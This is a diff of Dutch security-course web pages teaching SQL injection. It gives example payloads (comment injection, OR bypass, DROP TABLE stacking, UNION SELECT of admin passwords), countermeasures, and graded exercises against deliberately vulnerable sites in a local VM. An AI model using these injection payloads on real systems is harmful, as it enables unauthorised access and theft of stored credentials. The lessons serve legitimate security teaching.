<blockquote>Het hacken van websites zonder toestemming is <strong>niet</strong> toegestaan</blockquote>
|
||||
|
||||
<img src="/static/img/security_banner.jpg" style="width: 50%" class="center-block">
|
||||
<p>Om de opdrachten te kunnen maken krijg je van ons toestemming om de websites in de VM te mogen hacken ;).
|
||||
We gaan in dit vak verschillende manieren bekijken om in te breken op een website. Aan jullie de taak om die tijdens
|
||||
de workshop in de praktijk te brengen</p>
|
||||
|
||||
<h1>SQL injection</h1>
|
||||
<img src="/static/img/security_banner.jpg" style="width: 50%" class="center-block">
|
||||
|
||||
<p>We beginnen bij één van de meest veelvoorkomende beveiligingslekken die er bij webapplicaties voorkomen. Dagelijks nog zijn
|
||||
er
|
||||
<a href="https://www.google.nl/webhp?#safe=off&tbm=nws&q=sql+injection" target="_blank">nieuwsberichten</a> van websites die hun code niet goed op orde hebben en kwetsbaar zijn tegen deze aanval. Deze week gaan
|
||||
we kijken hoe deze aanval werkt en hoe je er tegen kunt beveiligen.</p>
|
||||
<h1>SQL injection</h1>
|
||||
|
||||
<p>In bijna alle webapplicatie projecten heb je te maken met een database waar je mee communiceert via SQL. Een typische query
|
||||
die wordt uitgevoerd is bijvoorbeeld deze:</p>
|
||||
<p>We beginnen deze week bij één van de meest veelvoorkomende beveiligingslekken die er bij webapplicaties voorkomen. Dagelijks nog zijn er <a href="https://www.google.nl/webhp?#safe=off&tbm=nws&q=sql+injection" target="_blank">nieuwsberichten</a> van websites die hun code niet goed op orde hebben en kwetsbaar zijn tegen deze aanval. Deze week gaan we kijken hoe deze aanval werkt en hoe je er tegen kunt beveiligen.</p>
|
||||
|
||||
<code>SELECT * FROM leden WHERE naam='<i>paul</i>' AND heeftbetaald='ja'</code>
|
||||
<p>In bijna alle webapplicatie projecten heb je te maken met een database waar je mee communiceert via SQL. Een typische query die wordt uitgevoerd is bijvoorbeeld deze:</p>
|
||||
|
||||
<p>Waarbij het blauwe gedeelte invoer is uit bijvoorbeeld een GET parameter ('?naam=paul'). Er lijkt niks aan de hand, maar
|
||||
als we de invoer niet zorgvuldig filteren geven de gebruiker de kans om de query op onbedoelde manier te veranderen.</p>
|
||||
<code>SELECT * FROM leden WHERE naam='<i>paul</i>' AND heeftbetaald='ja'</code>
|
||||
|
||||
<h5>Commentaar</h5>
|
||||
<p>Met
|
||||
<code>-- </code> (streepje, streepje, spatie) is het in SQL mogelijk om commentaar te zetten in je query, hetzelfde wat je in PHP met
|
||||
<code>//</code> zou doen. Met een slim gekozen invoer kunnen we de query er zo uit laten zien:</p>
|
||||
<p>Waarbij het blauwe gedeelte invoer is uit bijvoorbeeld een GET parameter ('?naam=paul'). Er lijkt niks aan de hand, maar als we de invoer niet zorgvuldig filteren geven de gebruiker de kans om de query op onbedoelde manier te veranderen.</p>
|
||||
|
||||
<code>SELECT * FROM leden WHERE naam='<i>paul' -- </i>' AND heeftbetaald='ja'</code>
|
||||
<h5>Commentaar</h5>
|
||||
<p>Met <code>-- </code> (streepje, streepje, spatie) is het in SQL mogelijk om commentaar te zetten in je query, hetzelfde wat je in PHP met <code>//</code> zou doen. Met een slim gekozen invoer kunnen we de query er zo uit laten zien:</p>
|
||||
|
||||
<p>De database voert de query uit, maar niet zoals de gebruiker hem heeft bedoeld: alles achter de -- wordt genegeerd als commentaar.
|
||||
De query zal dus ook rijen teruggeven waar
|
||||
<i>heeftbetaald</i> niet op 'ja' staat, wat afhankelijk van de code van de website kan betekenen dat we gratis dingen kunnen
|
||||
kopen :)</p>
|
||||
<code>SELECT * FROM leden WHERE naam='<i>paul' -- </i>' AND heeftbetaald='ja'</code>
|
||||
|
||||
<h5>AND, OR</h5>
|
||||
<p>De database voert de query uit, maar niet zoals de gebruiker hem heeft bedoeld: alles achter de -- wordt genegeerd als commentaar. De query zal dus ook rijen teruggeven waar <i>heeftbetaald</i> niet op 'ja' staat, wat afhankelijk van de code van de website kan betekenen dat we gratis dingen kunnen kopen :)</p>
|
||||
|
||||
<p>Een andere manier om queries te veranderen is om nieuwe logica (AND, OR) te injecteren in de SQL. We kunnen bijvoorbeeld
|
||||
de volgende query maken met de juiste invoer:</p>
|
||||
<h5>AND, OR</h5>
|
||||
|
||||
<code>SELECT * FROM leden WHERE naam='<i>paul' OR 'bla'='</i>' AND heeftbetaald='ja'</code>
|
||||
<p>Een andere manier om queries te veranderen is om nieuwe logica (AND, OR) te injecteren in de SQL. We kunnen bijvoorbeeld de volgende query maken met de juiste invoer:</p>
|
||||
|
||||
<p>Deze query maakt weer het
|
||||
<i>heeftbetaald='ja'</i> gedeelte nutteloos. Als de naam al overeenkomt maakt het niet uit wat er achter de OR staat, het
|
||||
resultaat is altijd true (de haakjes worden als volgt geplaatst:
|
||||
<code>. OR ( . AND . )</code>).</p>
|
||||
<code>SELECT * FROM leden WHERE naam='<i>paul' OR 'bla'='</i>' AND heeftbetaald='ja'</code>
|
||||
|
||||
<h5>Meerdere queries</h5>
|
||||
<p>Eén van de meest gevaarlijke is als het mogelijk is om compleet nieuwe queries uit te kunnen voeren op de database. Bedenk
|
||||
eens wat er gebeurt als de gebruiker deze invoer geeft:</p>
|
||||
<p>Deze query maakt weer het <i>heeftbetaald='ja'</i> gedeelte nutteloos. Als de naam al overeenkomt maakt het niet uit wat er achter de OR staat, het resultaat is altijd true (de haakjes worden als volgt geplaatst: <code>. OR ( . AND . )</code>).
|
||||
|
||||
<code>SELECT naam FROM leden WHERE id=<i>0; DROP TABLE leden;</i></code>
|
||||
<h5>Meerdere queries</h5>
|
||||
<p>Eén van de meest gevaarlijke is als het mogelijk is om compleet nieuwe queries uit te kunnen voeren op de database. Bedenk eens wat er gebeurt als de gebruiker deze invoer geeft:</p>
|
||||
|
||||
<p>Met
|
||||
<code>;</code> geven we aan dat we een nieuwe query beginnen, waarna we vervolgens vrij zijn om elke query uit te voeren die we maar
|
||||
willen. Let wel dat het uitvoeren van meerdere queries met bijvoorbeeld mysqli_query() iets is wat standaard uit staat.
|
||||
Deze techniek is extra gevaarlijk omdat deze immuun is tegen escapen als het invoer is die niet tussen quotejes staat.</p>
|
||||
<code>SELECT naam FROM leden WHERE id=<i>0; DROP TABLE leden;</i></code>
|
||||
|
||||
<h5>UNION</h5>
|
||||
<p>Met <code>;</code> geven we aan dat we een nieuwe query beginnen, waarna we vervolgens vrij zijn om elke query uit te voeren die we maar willen. Let wel dat het uitvoeren van meerdere queries met bijvoorbeeld mysqli_query() iets is wat standaard uit staat. Deze techniek is extra gevaarlijk omdat deze immuun is tegen escapen als het invoer is die niet tussen quotejes staat.</p>
|
||||
|
||||
<p>We kunnen met behulp van de
|
||||
<a href="http://www.w3schools.com/sql/sql_union.asp" target="_blank">UNION</a> operator ook informatie halen uit andere tabellen in de database:</p>
|
||||
<h5>UNION</h5>
|
||||
|
||||
<code>SELECT naam FROM leden WHERE id=<i>0 UNION SELECT wachtwoord FROM admins</i></code>
|
||||
<p>We kunnen met behulp van de <a href="http://www.w3schools.com/sql/sql_union.asp" target="_blank">UNION</a> operator ook informatie halen uit andere tabellen in de database:</p>
|
||||
|
||||
<p>De query haalt nu namen van leden op, samen met wachtwoorden uit de admins tabel. Belangrijk voor de UNION is dat beide queries
|
||||
evenveel kolommen teruggeven.</p>
|
||||
<code>SELECT naam FROM leden WHERE id=<i>0 UNION SELECT wachtwoord FROM admins</i></code>
|
||||
|
||||
<img src="/static/img/shield.png" style="float: right">
|
||||
<h4>Countermeasures</h4>
|
||||
<p>De query haalt nu namen van leden op, samen met wachtwoorden uit de admins tabel. Belangrijk voor de UNION is dat beide queries evenveel kolommen teruggeven.</p>
|
||||
|
||||
<p>Het is niet moeilijk om bovenstaande aanvallen te voorkomen. Met een paar simpele aanpassingen kan je ervoor zorgen dat je
|
||||
SQL altijd wordt uitgevoerd zoals je die bedoeld hebt.</p>
|
||||
<img src="/static/img/shield.png" style="float: right">
|
||||
<h4>Countermeasures</h4>
|
||||
|
||||
<h5>Stored procedures</h5>
|
||||
<p>Je slaat de SQL op als stored procedure in de database en roept deze aan vanuit je code. Omdat de SQL in de database staat
|
||||
in plaats op de server is SQL injectie niet mogelijk</p>
|
||||
<p>Het is niet moeilijk om bovenstaande aanvallen te voorkomen. Met een paar simpele aanpassingen kan je ervoor zorgen dat je SQL altijd wordt uitgevoerd zoals je die bedoeld hebt.</p>
|
||||
|
||||
<h5>Prepared statements</h5>
|
||||
<p>Dit is de meest gebruikte en veilige manier. Met vraagtekentjes geef je aan op welke plekken de invoer moet komen en die
|
||||
vul je dan later in. De SQL wordt altijd uitgevoerd zoals je hem bedoeld hebt. En ook hier is SQL injectie onmogelijk.
|
||||
Lees
|
||||
<a href="http://php.net/manual/en/mysqli.prepare.php" target="_blank">hier</a> verder</p>
|
||||
<h5>Stored procedures</h5>
|
||||
<p>Je slaat de SQL op als stored procedure in de database en roept deze aan vanuit je code. Omdat de SQL in de database staat in plaats op de server is SQL injectie niet mogelijk</p>
|
||||
|
||||
<h5>Escaping</h5>
|
||||
<p>Je kan ook alle invoer zelf escapen met functies zoals
|
||||
<a href="http://php.net/manual/en/mysqli.real-escape-string.php" target="_blank">mysqli_real_escape_string()</a>. Zorg ervoor dat je dan consequent alle strings escaped met die functie en alle getallen
|
||||
cast naar int's voordat je ze in je SQL plakt. Als je er ook maar eentje mist heb je al een SQL injection mogelijkheid
|
||||
op je website!</p>
|
||||
<h5>Prepared statements</h5>
|
||||
<p>Dit is de meest gebruikte en veilige manier. Met vraagtekentjes geef je aan op welke plekken de invoer moet komen en die vul je dan later in. De SQL wordt altijd uitgevoerd zoals je hem bedoeld hebt. En ook hier is SQL injectie onmogelijk. Lees <a href="http://php.net/manual/en/mysqli.prepare.php" target="_blank">hier</a> verder</p>
|
||||
|
||||
<p>Op
|
||||
<a href="http://www.sqltutorial.nl/artikelen/sqlinjections/soorten_sql_injection.html" target="_blank">deze site</a> kan je het allemaal extra nalezen. Maar voor nu genoeg theorie, let's HACK!</p>
|
||||
<h5>Escaping</h5>
|
||||
<p>Je kan ook alle invoer zelf escapen met functies zoals <a href="http://php.net/manual/en/mysqli.real-escape-string.php" target="_blank">mysqli_real_escape_string()</a>. Zorg ervoor dat je dan consequent alle strings escaped met die functie en alle getallen cast naar int's voordat je ze in je SQL plakt. Als je er ook maar eentje mist heb je al een SQL injection mogelijkheid op je website!</p>
|
||||
|
||||
<img src="/static/img/sql_injectie.png" class="center-block">
|
||||
<p>Op <a href="http://www.sqltutorial.nl/artikelen/sqlinjections/soorten_sql_injection.html" target="_blank">deze site</a> kan je het allemaal extra nalezen. Maar voor nu genoeg theorie, let's HACK!</p>
|
||||
|
||||
<h2>Bank</h2>
|
||||
<p>Bob is al jaren trouwe klant en gebruikt de site dagelijks om te kijken hoeveel geld er op zijn rekening staat. Achter op
|
||||
zijn poespas pas heeft hij met een viltstift „Niet vergeten: Bob 123456” geschreven. Gebruik de site om te kijken hoeveel
|
||||
geld Bob op zijn rekening heeft staan.</p>
|
||||
<img src="/static/img/sql_injectie.png" class="center-block">
|
||||
|
||||
<p>Alice is ook klant van de bank en wij willen ook graag weten hoeveel geld zij op haar rekening heeft staan. We gaan daarom
|
||||
haar rekening hacken met behulp van SQL.</p>
|
||||
<h2>Bank</h2>
|
||||
<p>Bob is al jaren trouwe klant en gebruikt de site dagelijks om te kijken hoeveel geld er op zijn rekening staat. Achter op zijn poespas pas heeft hij met een viltstift „Niet vergeten: Bob 123456” geschreven. Gebruik de site om te kijken hoeveel geld Bob op zijn rekening heeft staan.</p>
|
||||
|
||||
<p>Ga nu aan de slag en hack het account van Alice! Gebruik hiervoor de bovenste link
|
||||
<span class="website">"Bank"</span> op de startpagina van jouw virtuele machine.</p>
|
||||
<p>Alice is ook klant van de bank en wij willen ook graag weten hoeveel geld zij op haar rekening heeft staan. We gaan daarom haar rekening hacken met behulp van SQL.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 1:</strong> Kijk eerst eens wat er gebeurt als je inlogt met een enkele quote in de gebruikersnaam (').</p>
|
||||
<p>Ga nu aan de slag en hack het account van Alice! Gebruik hiervoor de bovenste link <span class="website">"Bank"</span> op de startpagina van jouw virtuele machine.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 2:</strong> Met -- (twee streepjes gevolgd door een spatie) kan je commentaar achter een regel zetten in SQL.</p>
|
||||
<p class="hint"><strong>Hint 1:</strong> Kijk eerst eens wat er gebeurt als je inlogt met een enkele quote in de gebruikersnaam (').</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 3:</strong> Bekijk de broncode achter de site:
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51" target="_blank">https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51</a>
|
||||
De code beschouwt een gebruiker als ingelogd als de query een rij uit de gebruikerstabel teruggeeft. Manipuleer de query
|
||||
zodat deze de gegevens van Alice teruggeeft, zonder dat je het wachtwoord hoeft te weten.</p>
|
||||
<p class="hint"><strong>Hint 2:</strong> Met -- (twee streepjes gevolgd door een spatie) kan je commentaar achter een regel zetten in SQL.</p>
|
||||
|
||||
<img src="/static/img/poespas.png" style="width: 70%" class="center-block screenshot">
|
||||
<p class="hint"><strong>Hint 3:</strong> Bekijk de broncode achter de site: <a href="https://github.com/Avans/Security-Workshop/blob/master/bank/index.php#L51" target="_blank">https://github.com/Avans/Security-Workshop/blob/master/bank/index.php#L51</a>
|
||||
De code beschouwt een gebruiker als ingelogd als de query een rij uit de gebruikerstabel teruggeeft. Manipuleer de query zodat deze de gegevens van Alice teruggeeft, zonder dat je het wachtwoord hoeft te weten.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Hoeveel geld heeft Alice op haar rekening staan?</span>
|
||||
</div>
|
||||
<img src="/static/img/poespas.png" style="width: 70%" class="center-block">
|
||||
|
||||
<p>Waarschijnlijk heb je SQL commentaar (--) gebruikt in de vorige opdracht. Voer nu een andere SQL injectie uit door alleen
|
||||
het wachtwoord veld te gebruiken. Gebruik niet de SQL commentaar techniek maar verander nu de logica van de query (AND,
|
||||
OR) zodat er niet meer gecontroleerd wordt op het wachtwoord.</p>
|
||||
<div class="question">
|
||||
<span class="question-string">Hoeveel geld heeft Alice op haar rekening staan?</span>
|
||||
{% include "points.html" with points=answers.answer_sql_money_alice.points max="5" %}
|
||||
<input class="question-input" name="answer_sql_money_alice" value="{{ answers.answer_sql_money_alice.string }}"></input>
|
||||
</div>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Met welk 'wachtwoord' lukt het altijd om in te loggen? (gebruikersnaam moet je leeglaten)</span>
|
||||
</div>
|
||||
<div class="question">
|
||||
<span class="question-string">Wat heb je als gebruikersnaam ingevuld om zonder wachtwoord in te loggen als Alice?</span>
|
||||
{% include "points.html" with points=answers.answer_sql_username_alice.points max="10" %}
|
||||
<input class="question-input" name="answer_sql_username_alice" value="{{answers.answer_sql_username_alice.string}}"></input>
|
||||
</div>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Maak er een query van die alle gebruikers teruggeeft, de site logt dan in als de eerste gebruiker.</p>
|
||||
<p>Waarschijnlijk heb je SQL commentaar (--) gebruikt in de vorige opdracht. Voer nu een andere SQL injectie uit door alleen het wachtwoord veld te gebruiken. Gebruik niet de SQL commentaar techniek maar verander nu de logica van de query (AND, OR) zodat er niet meer gecontroleerd wordt op het wachtwoord.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Bekijk de
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51" target="_blank">PHP broncode</a> en los het probleem op.</span>
|
||||
</div>
|
||||
<div class="question">
|
||||
<span class="question-string">Met welk 'wachtwoord' lukt het altijd om in te loggen? (gebruikersnaam moet je leeglaten)</span>
|
||||
{% include "points.html" with points=answers.answer_sql_always_password.points max="10" %}
|
||||
<input class="question-input" name="answer_sql_always_password" value="{{answers.answer_sql_always_password.string}}"></input>
|
||||
</div>
|
||||
|
||||
<p>Open de
|
||||
<span class="website">"Bank (multi_query)"</span> pagina. Op deze pagina werken ook SQL Injection technieken die gebruik maken van meerdere queries
|
||||
(queries gescheiden door een ; ).</p>
|
||||
<p class="hint"><strong>Hint:</strong> Maak er een query van die alle gebruikers teruggeeft, de site logt dan in als de eerste gebruiker. Het maakt voor de opdracht niet uit als wie je inlogt.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke
|
||||
<i>"gebruikersnaam"</i> kan je (alleen) Bob miljonair maken? (Het saldo staat in een kolom "balans")</span>
|
||||
</div>
|
||||
<div class="question">
|
||||
<span class="question-string">Bekijk de <a href="https://github.com/Avans/Security-Workshop/blob/master/bank/index.php#L51" target="_blank">PHP broncode</a> en los het probleem op. Type de verbeterde regels code in onderstaand tekstveld. (denk terug aan je mysql WEBS2 practicum)</span>
|
||||
{% include "points.html" with points=answers.answer_sql_fix_query.points max="15" %}
|
||||
<textarea class="question-input" name="answer_sql_fix_query">{{answers.answer_sql_fix_query.string}}</textarea>
|
||||
</div>
|
||||
|
||||
<img src="/static/img/bank_schema.png">
|
||||
<p>Open de <span class="website">"Bank (multi_query)"</span> pagina. Op deze pagina werken ook SQL Injection technieken die gebruik maken van meerdere queries (queries gescheiden door een ; ).</p>
|
||||
|
||||
<h2>Webshop</h2>
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke <i>"gebruikersnaam"</i> kan je (alleen) Bob miljonair maken? (Het saldo staat in een kolom "balans")</span>
|
||||
{% include "points.html" with points=answers.answer_sql_bob_millionaire.points max="10" %}
|
||||
<input class="question-input" name="answer_sql_bob_millionaire" value="{{answers.answer_sql_bob_millionaire.string}}"></input>
|
||||
</div>
|
||||
|
||||
<p>Inloggen in een ander account is leuk. Maar echte hackers stelen kostbare data uit een website. Dat gaan we nu doen met de
|
||||
webshop van Leaky's. Gebruik hiervoor de link
|
||||
<span class="website">"Webshop"</span> op de startpagina van jouw virtuele machine.</p>
|
||||
<img src="/static/img/bank_schema.png">
|
||||
|
||||
<p>Je kan de broncode vinden op:
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62" target="_blank">https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62</a>
|
||||
</p>
|
||||
<h2>Webshop</h2>
|
||||
|
||||
<p>Zoals je ziet hebben ze hier gebruik gemaakt van mysqli::real_escape_string(). Je kan dus geen gebruik meer maken van rare
|
||||
quotejes om de query aan te passen.</p>
|
||||
<p>Inloggen in een ander account is leuk. Maar echte hackers stelen kostbare data uit een website. Dat gaan we nu doen met de webshop van Leaky's. Gebruik hiervoor de link <span class="website">"Webshop"</span> op de startpagina van jouw virtuele machine.</p>
|
||||
|
||||
<p>Maar met behulp van de UNION techniek kunnen we alsnog data stelen uit de website.</p>
|
||||
<p>Je kan de broncode vinden op: <a href="https://github.com/Avans/Security-Workshop/blob/master/webshop/product_detail.php#L62" target="_blank">https://github.com/Avans/Security-Workshop/blob/master/webshop/product_detail.php#L62</a>
|
||||
|
||||
<p>In de database is er nog een tabel "gebruikers" waar gebruikersnamen en wachtwoorden in staan. Steel deze informatie uit
|
||||
de database!</p>
|
||||
<p>Zoals je ziet hebben ze hier gebruik gemaakt van mysqli::real_escape_string(). Je kan dus geen gebruik meer maken van rare quotejes om de query aan te passen.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Verander het cijfer in de url van de product_details.php pagina in de letter 'a' zodat je de query kan lezen.
|
||||
</p>
|
||||
<p>Maar met behulp van de UNION techniek kunnen we alsnog data stelen uit de website.</p>
|
||||
|
||||
<img src="/static/img/webshop_schema.png">
|
||||
<p>In de database is er nog een tabel "gebruikers" waar gebruikersnamen en wachtwoorden in staan. Steel deze informatie uit de database!</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Wat zijn de gebruikersnamen en wachtwoorden van de 4 gebruikers in de database? (de id's van de gebruikers zijn 1,2,3 en
|
||||
4)
|
||||
</span>
|
||||
</div>
|
||||
<p class="hint"><strong>Hint:</strong> Verander het cijfer in de url van de product_details.php pagina in de letter 'a' zodat je de query kan lezen.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Bekijk de
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62" target="_blank">broncode</a> en verbeter deze zodat je geen SQL injection meer kan gebruiken.</span>
|
||||
</div>
|
||||
<img src="/static/img/webshop_schema.png">
|
||||
|
||||
<p>Open de pagina
|
||||
<span class="website">"Webshop (replace)"</span>. De maker van deze website heeft extra maatregelen genomen en woorden als SELECT en UNION uit
|
||||
de invoer gefilterd.</p>
|
||||
<div class="question">
|
||||
<span class="question-string">Wat zijn de gebruikersnamen en wachtwoorden van de 4 gebruikers in de database? (de id's van de gebruikers zijn 1,2,3 en 4)</span>
|
||||
{% include "points.html" with points=answers.answer_sql_usernames_passwords_webshop.points max="5" %}
|
||||
<textarea class="question-input" name="answer_sql_usernames_passwords_webshop">{{answers.answer_sql_usernames_passwords_webshop.string}}</textarea>
|
||||
</div>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> SELSELECTECT</p>
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke URL heb je het wachtwoord van Marco achterhaald?</span>
|
||||
{% include "points.html" with points=answers.answer_sql_url_marco_password.points max="10" %}
|
||||
<input class="question-input" type="url" name="answer_sql_url_marco_password" value="{{answers.answer_sql_url_marco_password.string}}"></input>
|
||||
</div>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke URL kan je nu het wachtwoord van Marco achterhalen?</span>
|
||||
</div>
|
||||
<div class="question">
|
||||
<span class="question-string">Bekijk de <a href="https://github.com/Avans/Security-Workshop/blob/master/webshop/product_detail.php#L62" target="_blank">broncode</a> en verbeter deze zodat je geen SQL injection meer kan gebruiken.</span>
|
||||
{% include "points.html" with points=answers.answer_sql_fix_injection_webshop.points max="15" %}
|
||||
<textarea class="question-input" name="answer_sql_fix_injection_webshop">{{answers.answer_sql_fix_injection_webshop.string}}</textarea>
|
||||
</div>
|
||||
|
||||
<h2>Wereldwijs</h2>
|
||||
<p>Open de pagina <span class="website">"Webshop (replace)"</span>. De maker van deze website heeft extra maatregelen genomen en woorden als SELECT en UNION uit de invoer gefilterd.</p>
|
||||
|
||||
<p>Ga in de VM naar de
|
||||
<span class="website">"Wereldwijs"</span> pagina. Op deze pagina kunnen studenten op spelenderwijs leren over de wereld. Maar deze site heeft
|
||||
een diep donker geheim die het niet toont aan de wereld, er is een geheime pagina met id 0.</p>
|
||||
<p class="hint"><strong>Hint:</strong> SELSELECTECT</p>
|
||||
|
||||
<p>Geen hints en geen broncode deze keer. Aan jullie de taak om de site te hacken (meerdere manieren mogelijk).</p>
|
||||
{% endblock %}
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke URL kan je nu het wachtwoord van Marco achterhalen?</span>
|
||||
{% include "points.html" with points=answers.answer_sql_url_marco_replace_password.points max="5" %}
|
||||
<input class="question-input" type="url" name="answer_sql_url_marco_replace_password" value="{{answers.answer_sql_url_marco_replace_password.string}}"></input>
|
||||
</div>
|
||||
|
||||
<h2>Wereldwijs</h2>
|
||||
|
||||
<p>Ga in de VM naar de <span class="website">"Wereldwijs"</span> pagina. Op deze pagina kunnen studenten op spelenderwijs leren over de wereld. Maar deze site heeft een diep donker geheim die het niet toont aan de wereld, er is een geheime pagina met id 0.</p>
|
||||
|
||||
<p>Geen hints en geen broncode deze keer. Aan jullie de taak om de site te hacken (meerdere manieren mogelijk).</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Wat is het onderwerp van de geheime pagina?</span>
|
||||
{% include "points.html" with points=answers.answer_sql_wereldwijs_title.points max="5" %}
|
||||
<input class="question-input" name="answer_sql_wereldwijs_title" value="{{answers.answer_sql_wereldwijs_title.string}}"></input>
|
||||
</div>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke URL heb je de website de geheime pagina laten tonen?</span>
|
||||
{% include "points.html" with points=answers.answer_sql_wereldwijs_url.points max="10" %}
|
||||
<textarea class="question-input" type="url" name="answer_sql_wereldwijs_url">{{answers.answer_sql_wereldwijs_url.string}}</textarea>
|
||||
</div>
|
||||
|
||||
{% endblock %}
|
||||
@@ -1,32 +0,0 @@
|
||||
{% extends 'base.html' %}{% block content %}
|
||||
|
||||
<h1>Virtuele machine</h1>
|
||||
|
||||
<p>Tijdens deze cursus gaan we hacken leren door het te doen. Helaas voor ons zijn de meeste bedrijfsnetwerken zeer pinnig op
|
||||
verdachte hackactiviteiten. Om te voorkomen dat iedereen meteen in quarantaine wordt gezet of boze systeembeheerders achter
|
||||
zich aan krijgt bieden we een VM aan waarmee we lokaal het hacken kunnen oefenen</p>
|
||||
|
||||
<a href="/security-vm.zip" style="font-size: x-large; text-align: center; display:block;margin:1em;">Download hier de VM</a>
|
||||
|
||||
<p>Als de VM opstart krijg je een IP adres te zien, als je hier heen gaat kom je bij de sites uit die we voor de opdrachten
|
||||
gaan gebruiken.</p>
|
||||
|
||||
<img src="/static/img/vm.png" class="screenshot center-block" style="width: 70%">
|
||||
|
||||
<p>Om de VM te starten is het nodig om VMWare te installeren. Dit is gratis te downloaden voor
|
||||
<a href="https://www.vmware.com/go/tryplayer" target="_blank">Windows</a> en voor
|
||||
<a href="https://www.vmware.com/go/tryfusion" target="_blank">MacOS</a>
|
||||
</p>
|
||||
|
||||
<h2>Troubleshooting</h2>
|
||||
|
||||
<p>Soms lukt het niet om met de browser de opdrachtensites te bekijken, probeer dan één van de volgende oplossingen:</p>
|
||||
|
||||
<ul>
|
||||
<li>Controleer in Windows of je niet de VMWare netwerkverbingen hebt gedisabled</li>
|
||||
<li>Probeer in de instellingen van de VM te switchen tussen NAT/bridged</li>
|
||||
<li>Maak een
|
||||
<a href="https://www.ubuntu.com/download/desktop" target="_blank">Ubuntu</a> VM en ga in deze VM met Firefox naar het IP adres</li>
|
||||
</ul>
|
||||
|
||||
{% endblock %}
|
||||
+329
-334
@@ -1,94 +1,76 @@
|
||||
{% extends 'base.html' %} {% block content %}
|
||||
{% extends "base.html" %}
|
||||
|
||||
<h1>Wachtwoorden</h1>
|
||||
{% block content %}
|
||||
|
||||
<img src="/static/img/password.png" class="center-block">
|
||||
<h1>Wachtwoorden</h1>
|
||||
|
||||
<p>Deze week gaan we kijken naar hoe je wachtwoorden van gebruikers veilig kan opslaan. We hebben al gezien dat het niet onmogelijk
|
||||
is om data uit de database te pulken met SQL injection. Als je een kolom hebt in je database 'wachtwoord' waar je je wachtwoorden
|
||||
zomaar neerzet loop je een groot risico dat een aanvaller achter alle wachtwoorden van je gebruikers komt. Gelukkig is
|
||||
er ook een veilige manier om wachtwoorden op te slaan, en wel door ze te
|
||||
<b>hashen</b>.</p>
|
||||
<img src="/static/img/password.png" class="center-block">
|
||||
|
||||
<h3>Hashfunctie</h3>
|
||||
<p>Deze week gaan we kijken naar hoe je wachtwoorden van gebruikers veilig kan opslaan. We hebben twee weken geleden gezien dat het niet onmogelijk is om data uit de database te pulken met SQL injection. Als je een kolom hebt in je database 'wachtwoord' waar je je wachtwoorden zomaar neerzet loop je een groot risico dat een aanvaller achter alle wachtwoorden van je gebruikers komt. Gelukkig is er ook een veilige manier om wachtwoorden op te slaan, en wel door ze te <b>hashen</b>.
|
||||
|
||||
<p>Een hashfunctie (md5, sha1 en tientallen andere) neemt een stuk data (zoals een wachtwoord) als invoer en geeft een willekeurige
|
||||
uitziende string als uitvoer. De uitvoer van een hashfunctie is altijd even lang, ongeacht de lengte van de invoer.</p>
|
||||
<h3>Hashfunctie</h3>
|
||||
|
||||
<input type="text" onkeyup="$('#hashed').val(md5($(this).val()))" style="width: 30%;"> > md5 >
|
||||
<input id="hashed" type="text" style="width: 50%;" value="d41d8cd98f00b204e9800998ecf8427e" readonly="">
|
||||
<p>Een hashfunctie (md5, sha1 en tientallen andere) neemt een stuk data (zoals een wachtwoord) als invoer en geeft een willekeurige uitziende string als uitvoer. De uitvoer van een hashfunctie is altijd even lang, ongeacht de lengte van de invoer.</p>
|
||||
|
||||
<p>Zo'n functie lijkt misschien een nutteloos iets, want je kan van de hash niet meer terug naar de originele invoer. Maar daar
|
||||
ligt juist de kracht van de hash functie: als de aanvaller een hash van het wachtwoord heeft kan hij niet terugrekenen
|
||||
wat het wachtwoord was. Hash functies zijn ontzettend moeilijk is om terug te rekenen, daar zijn ze op gemaakt. Zo moeilijk
|
||||
dat eigenlijk de enige 'praktische' optie is om alle mogelijke invoeren uit te proberen om te kijken of het uitkomt op
|
||||
dezelfde hash (brute-force).</p>
|
||||
<input type="text" onkeyup="$('#hashed').val(md5($(this).val()))" style="width: 30%;">
|
||||
> md5 >
|
||||
<input id="hashed" type="text" style="width: 50%;" value="d41d8cd98f00b204e9800998ecf8427e" readonly="">
|
||||
|
||||
<p>Gelukkig hoef jij als programmeur van de website de hash niet terug te rekenen om hem te kunnen gebruiken. Als een gebruiker
|
||||
inlogt hash je opnieuw het wachtwoord wat hij invult. Komt deze hash overeen met wat in de database staat? Dan heeft hij
|
||||
hetzelfde wachtwoord ingevuld!</p>
|
||||
<p>Zo'n functie lijkt misschien een nutteloos iets, want je kan van de hash niet meer terug naar de originele invoer. Maar daar ligt juist de kracht van de hash functie: als de aanvaller een hash van het wachtwoord heeft kan hij niet terugrekenen wat het wachtwoord was. Hash functies zijn ontzettend moeilijk is om terug te rekenen, daar zijn ze op gemaakt. Zo moeilijk dat eigenlijk de enige praktische optie is om alle mogelijke invoeren uit te proberen om te kijken of het uitkomt op dezelfde hash (brute-force).</p>
|
||||
|
||||
<h3>Rainbow tables</h3>
|
||||
